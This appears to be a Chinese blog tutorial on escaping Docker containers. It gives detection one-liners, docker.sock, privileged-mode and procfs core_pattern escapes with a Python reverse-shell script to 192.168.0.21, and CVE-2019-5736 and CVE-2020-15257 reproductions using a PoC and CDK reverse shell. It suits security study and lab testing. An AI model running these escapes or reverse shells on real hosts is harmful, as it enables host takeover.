云上攻防:云原生篇&Docker容器逃逸

简介: 本文介绍了Docker的基本概念及其对渗透测试的影响,重点讲解了容器逃逸的方法。Docker是一种轻量级的容器技术,与虚拟机相比,具有更高的便携性和资源利用率。然而,这也带来了安全风险,特别是容器逃逸问题。文章详细描述了三种常见的容器逃逸方法:不安全的配置、相关程序漏洞和内核漏洞,并提供了具体的检测和利用方法。此外,还介绍了几种特定的漏洞(如CVE-2019-5736和CVE-2020-15257)及其复现步骤,帮助读者更好地理解和应对这些安全威胁。

什么是Docker

简而言之就是一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

Docker技术对于渗透测试的影响

docker环境对于渗透测试的影响就是攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

这时候就有一个衍生技术docker逃逸,Docker容器逃逸是指攻击者突破容器的隔离机制,获取底层主机系统的控制权,类似于以前听过较多的虚拟机逃逸

容器逃逸方法总结

在开始之前对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

#判断是否为容器环境

当拿到shell权限,看到数字和字母随机生成的主机名大概率猜到在容器里了,查看进程,进程数很少,PID为1的进程为业务进程,这也是容器环境的典型特征。当然,以上这两种都是比较主观的判断。

可参考文章判断方法:https://blog.csdn.net/qq_23936389/article/details/131486643

这里列举一个判断方法,在高权限情况下执行命令

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

不安全启动

(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)


1、特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

#2、挂载 Docker Socket

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

#3、挂载 procfs

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

#4、挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

#5、Docker remote api 未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

容器逃逸检测脚本

项目地址:https://github.com/teamssix/container-escape-check

直接在容器中执行以下命令即可

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash

挂载 Docker Socket 逃逸

Docker Socket 用来与守护进程通信即查询信息或者下发命令。

Socket 逃逸简单来说就挂载 Docker Socket 逃逸是通过在容器内挂载宿主机的 /var/run/docker.sock 文件,利用 Docker 守护进程的权限,从而在宿主机上创建和运行新的容器,实现从容器到宿主机的权限逃逸。

#拉去环境
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
#进入环境
docker exec -it with_docker_sock /bin/bash
#检测环境
ls -lah /var/run/docker.sock

最近dockerhub已经不能访问了,使用原先的方式安装docker,服务器上也总是连接不上,感觉实战中还是因为白名单网站的缘故最好的方法还是建议先尝试访问官方网站自动化安装
这里提供几个方法尝试避免网络问题导致下载失败的问题

# 更新软件包索引
sudo apt-get update
 
# 安装需要的软件包以使apt能够通过HTTPS使用仓库
sudo apt-get install ca-certificates curl gnupg lsb-release
#官方安装程序
curl -fsSL https://get.docker.com/| sh  
#使用--mirror参数来指定镜像源
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
# 验证是否成功安装了docker
systemctl status docker
docker --version

# 添加阿里云官方GPG密钥
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
 
# 写入阿里云Docker仓库地址
sh -c 'echo "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" > /etc/apt/sources.list.d/docker.list
或使用清华大学源
# 添加Docker官方的GPG密钥
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
 
# 设置稳定版仓库
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

更新源并安装Docker

apt-get update
apt-get install docker-ce docker-ce-cli containerd.io
# 验证是否成功安装了docker
systemctl status docker
docker --version

实在还是没法安装可以本机下载然后传输到目标主机,就是流量太大容易

wget -q https://get.docker.com/ -O get-docker.sh
sh get-docker.sh

容器内成功安装好docker后在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
chroot /host

逃逸成功

root@e51f4a967c75:/# docker --version
Docker version 27.2.0, build 3ab4256
root@e51f4a967c75:/# docker run -it -v /:/host ubuntu /bin/bash
root@0e2481d99793:/# chroot /host
# ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv       sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  swap.img  tmp  var
# ls root
1.sh  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  burp2024  docker-compose  snap
#

本机root目录

成功将本机目录挂载到新的容器内部

成功后chroot /test 切换后和打redis一样,定时任务反弹shell或者ssh传公钥

Privileged 特权模式容器逃逸

特权模式容器逃逸指的是在容器以特权模式(--privileged)运行时,容器内的进程能够获取宿主机上的root权限,从而可以执行如挂载文件系统、访问所有设备等操作,攻击者可能利用这种特权访问宿主机系统,实现从容器到宿主机的逃逸。特权模式下,容器内的root用户拥有等同于宿主机root用户的权限,这使得逃逸变得相对容易。

以特权模式进入一个环境

docker run --rm --privileged=true -it alpine
#检测是否为docker环境
/ # ls -al /
total 64
drwxr-xr-x    1 root     root          4096 Sep  3 08:54 .
drwxr-xr-x    1 root     root          4096 Sep  3 08:54 ..
-rwxr-xr-x    1 root     root             0 Sep  3 08:54 .dockerenv
#判断当前是否为特权模式
cat /proc/self/status | grep CapEff

成功逃逸

挂载宿主机procfs逃逸

将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs

root@1b4722987fd1:/tmp# find / -name core_pattern
/proc/sys/kernel/core_pattern     #容器本身procfs
/host/proc/sys/kernel/core_pattern  #宿主机procfs

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
#将work目录变成merged目录就是容器所在宿主机的绝对路径
workdir=/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/

创建反弹shell脚本

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "192.168.0.21"
lport = 8848
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

赋予执行权限 chmod 777 /tmp/.x.py

写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件

echo -e "|/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。

  • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
  • 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
  • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。
  • 上述解释就是我们要将反弹shell文件路径写入core_pattern 中写入引起docker崩溃的文件,诱导系统加载core_pattern 文件

安装vim以及gcc  (实战建议找同内核的机器编译好传上去)

apt-get update -y && apt-get install vim gcc -y

写入崩溃文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

编译好执行

gcc x.c -o x
./x

另一台机器开启监听

nc -lvvp 8848

云原生-Docker安全-容器逃逸&版本漏洞

CVE-2019-5736 runc容器逃逸

  • 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
  • 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6

下载特定版本清华大学镜像站点历史包,这里依赖难解决

# 下载特定版本的 Docker CE `.deb` 包
wget https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb
# 安装 `.deb` 包
dpkg -i docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb
# 解决依赖问题
apt-get install -f

或centos用阿里的源

# 更新系统并安装必要的依赖项
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
# 添加阿里云的 Docker 仓库
sudo vi /etc/yum.repos.d/docker-ce.repo
# 添加以下内容:
[docker-ce-stable]
name=Docker CE Stable - $basearch
baseurl=https://mirrors.aliyun.com/docker-ce/linux/centos/7/$basearch/stable
enabled=1
gpgcheck=1
gpgkey=https://mirrors.aliyun.com/docker-ce/linux/centos/gpg
# 列出可用的 Docker 版本
yum list docker-ce --showduplicates | sort -r
# 安装特定版本的 Docker
sudo yum install docker-ce-18.06.1.ce-3.el7
# 启动并启用 Docker
sudo systemctl start docker
sudo systemctl enable docker
# 删除现有版本的 runC
sudo yum remove -y runc
# 使用清华大学开源软件镜像站下载 runC
curl -L -o /usr/bin/runc https://mirrors.tuna.tsinghua.edu.cn/github-release/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
sudo 从  
# 验证 Docker 版本
docker --version
# 验证 runC 版本
runc --version

POC下载地址CVE-2019-5736-PoC

对main.go文件内容进行修改

使用go环境编译好后上传至目标

由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
#复制至虚拟机运行
docker cp main xxxx:/
chmod 777 main 
./main

执行完POC后看到successfully我们需要模拟管理员重新进入容器才能成功执行

[root@hello ~]# docker exec -it fc03 /bin/bash
No help topic for '/bin/bash'

成功逃逸

CVE-2020-15257 containerd逃逸

  • 漏洞影响版本:

containerd < 1.4.3
containerd < 1.3.9
这里使用阿里云的源安装对应漏洞版本的Docker

sudo apt-get update
sudo apt-get install -y ca-certificates curl software-properties-common
curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu bionic stable"
sudo apt-get update
apt-cache madison docker-ce
sudo apt-get install -y docker-ce=5:19.03.6~3-0~ubuntu-bionic docker-ce-cli=5:19.03.6~3-0~ubuntu-bionic containerd.io=1.2.4-1

用root用户以共享主机网络的方式启动容器--net=host

docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash

将自动化CDK复制到容器运行

docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64

尝试自动化检测漏洞

./cdk_linux_amd64 auto-escape id
#
./cdk_linux_amd64 run shim-pwn reverse 192.168.0.24 8888   #反弹shell

这里按照网上的方法一直复现不成功,尝试换了很多环境,怀疑是用的官方仓库缺少了一些组件,这里就等有空成功研究完复现了再补上

#所需版本 docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

这里用自动化脚本测试特权模式成功

自动挂载成功

相关文章
|
2天前
|
存储 缓存 监控
Docker容器性能调优的关键技巧,涵盖CPU、内存、网络及磁盘I/O的优化策略,结合实战案例,旨在帮助读者有效提升Docker容器的性能与稳定性。
本文介绍了Docker容器性能调优的关键技巧,涵盖CPU、内存、网络及磁盘I/O的优化策略,结合实战案例,旨在帮助读者有效提升Docker容器的性能与稳定性。
19 6
|
2天前
|
存储 Prometheus 监控
Docker容器内进行应用调试与故障排除的方法与技巧,包括使用日志、进入容器检查、利用监控工具及检查配置等,旨在帮助用户有效应对应用部署中的挑战,确保应用稳定运行
本文深入探讨了在Docker容器内进行应用调试与故障排除的方法与技巧,包括使用日志、进入容器检查、利用监控工具及检查配置等,旨在帮助用户有效应对应用部署中的挑战,确保应用稳定运行。
13 5
|
2天前
|
开发框架 安全 开发者
Docker 是一种容器化技术,支持开发者将应用及其依赖打包成容器,在不同平台运行而无需修改。
Docker 是一种容器化技术,支持开发者将应用及其依赖打包成容器,在不同平台运行而无需修改。本文探讨了 Docker 在多平台应用构建与部署中的作用,包括环境一致性、依赖管理、快速构建等优势,以及部署流程和注意事项,展示了 Docker 如何简化开发与部署过程,提高效率和可移植性。
19 3
|
2天前
|
存储 安全 数据安全/隐私保护
Docker 容器化应用管理更加高效,但数据安全和业务连续性成为关键。
在数字化时代,Docker 容器化应用管理更加高效,但数据安全和业务连续性成为关键。本文探讨了 Docker 应用的备份与恢复策略,涵盖备份的重要性、内容、方法及常见工具,制定备份策略,恢复流程及注意事项,并通过案例分析和未来趋势展望,强调备份与恢复在保障应用安全中的重要性。
13 2
|
7天前
|
Kubernetes Linux 开发者
深入探索容器化技术——Docker 的实战应用
深入探索容器化技术——Docker 的实战应用
34 5
|
11天前
|
运维 Cloud Native 云计算
云原生之旅:Docker容器化实战
本文将带你走进云原生的世界,深入理解Docker技术如何改变应用部署与运维。我们将通过实际案例,展示如何利用Docker简化开发流程,提升应用的可移植性和伸缩性。文章不仅介绍基础概念,还提供操作指南和最佳实践,帮助你快速上手Docker,开启云原生的第一步。
|
9天前
|
关系型数据库 MySQL Java
【Docker最新版教程】一文带你快速入门Docker常见用法,实现容器编排和自动化部署上线项目
Docker快速入门到项目部署,MySQL部署+Nginx部署+docker自定义镜像+docker网络+DockerCompose项目实战一文搞定!
|
8天前
|
开发者 Docker Python
从零开始:使用Docker容器化你的Python Web应用
从零开始:使用Docker容器化你的Python Web应用
23 1
|
5天前
|
存储 Cloud Native 开发者
深入探索容器化技术——Docker的实战应用
深入探索容器化技术——Docker的实战应用
16 0
|
13天前
|
Java Docker 微服务
利用Docker容器化部署Spring Boot应用
利用Docker容器化部署Spring Boot应用
39 0